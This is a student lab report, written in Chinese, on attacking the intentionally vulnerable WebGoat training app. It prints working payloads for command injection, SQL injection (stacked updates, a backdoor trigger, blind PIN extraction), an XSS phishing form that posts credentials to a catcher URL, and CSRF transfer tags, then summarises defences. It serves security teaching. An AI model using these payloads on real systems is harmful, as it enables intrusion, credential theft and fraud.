一、实验内容
- WebGoat安装
- SQL注入攻击
- XSS攻击
- CSRF攻击
- SQL注入攻击原理,如何防御
- XSS攻击的原理,如何防御
- CSRF攻击原理,如何防御
一、实验内容
-
下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar
- WebGoat默认使用8080端口,开启前先查看端口是否被占用: netstat -tupln | grep 8080
-
在有该文件的在命令行输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat
-
- 左侧有教程
-
-
-
原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
- 目标:可以在目标主机上执行任何系统命令
-
-
-
-
- 右键点击,选择 inspect Element 审查网页元素
-
-
-
- 选择 Edit As HTML 对网页源代码进行修改
-
-
-
- 找到选项 AccessControlMatrix.help ,在末尾注入 "& netstat -an & ipconfig"
-
-
- 点击 view开始攻击,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功
-
-
- 显示所有城市的天气情况,攻击成功
-
-
-
- 点击
Login
可以看到webgoat Login Fail
,自己添加的art20174319 Login Succeeded
- 点击
-
-
- 由于网页的html代码中,给密码框限定了最大长度为8,限制了SQL注入。因此将其长度修改至20,以用户Neville(admit)登录,输入密码 4319‘ or ‘1‘ = ‘1
-
-
- 以用户Neville登录,以永真式的形式输入密码 4319‘ or 1=1 -- ,这一次成功登陆了,并且获得了所有人员的名单
-
-
-
- 输入用户ID两个语句
101; update employee set salary=10000
使用;
分隔
- 输入用户ID两个语句
-
-
-
- 输入用户ID
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘john@hackme.com‘ WHERE userid = NEW.userid
- 输入用户ID
-
-
-
- 输入
101 AND 1=2
,返回Invalid account number
- 输入
-
-
-
- 针对查询语句的后半部分构造复杂语句,如: 101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 )如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364
-
-
-
- 原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
-
-
-
- 目标:找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
-
-
-
- 与数字型盲注入类似,只是将注入的数字换为字符串而已
- 例如:输入 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘K‘ ) 取得 pin 字段数值的第一个字母,并判断其是否比字母“K”小
- 同样使用二分法进行测试,最后得到pin字段为 Jill
-
-
XSS攻击
-
-
-
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
-
-
-
-
-
在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS
- 在搜索框输入如下代码,页面增加一个表单
-
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
-
-
-
-
- 目标 :常见于论坛等留言、用户留言创建非法的消息内容,输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行,导致其他用户访问非预期的页面或内容
- 在留言板输入
<script>alert("20175314 attack succeed Shazam!");</script>
后点击Submit
攻击成功
-
-
-
- 目标 通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
- 序列码输入
<script>alert(" 20174319art");</script>
后点击Submit
,显示内容为script脚本指定的警告框
-
-
CSRF攻击
-
-
- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
- 在title中输入任何参数,message框中输入
-
-
-
-
在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
-
-
-
-
- 在消息栏中输入
<iframe src="attack?Screen=285&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=368&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit
生成以Title
命名的链接,点击链接攻击成功
- 在消息栏中输入
-
二、老师提问
-
SQL注入攻击原理,如何防御
- 原理 Web应用对后台数据库查询语句处理存在的安全漏洞。即输入字符串中嵌入SQL指令,设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果;
- 防御手段 禁止提交含有特殊字符的字符串,普通用户与系统管理员用户的权限要有严格的区分,加密数据库中的内容等。
-
XSS攻击的原理,如何防御
- 原理 利用站点内的信任用户在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行;
- 防御手段 表单提交的时候进行特殊字符的检测;对输入框做长度限制;在后台对数据进行过滤等。
-
CSRF攻击原理,如何防御
- 原理 通过伪装来自受信任用户的请求来利用受信任的网站(钓鱼网站);
- 防御手段 每一个重要的post提交页面必须使用验证码;网页包含web server产生的token, 提交时也将该token提交到服务器,服务器进行判断,如果token不对就判定为CSRF攻击;定期清理不使用的cookie。
三、实验感想
- 这次实验做的很顺利,通过本次实验,学习了注入攻击和XSS攻击、CSRF攻击,了解了这些攻击的原理,进行了简单的尝试,感觉虽然没有学得很深入,但是很好地拓宽了知识面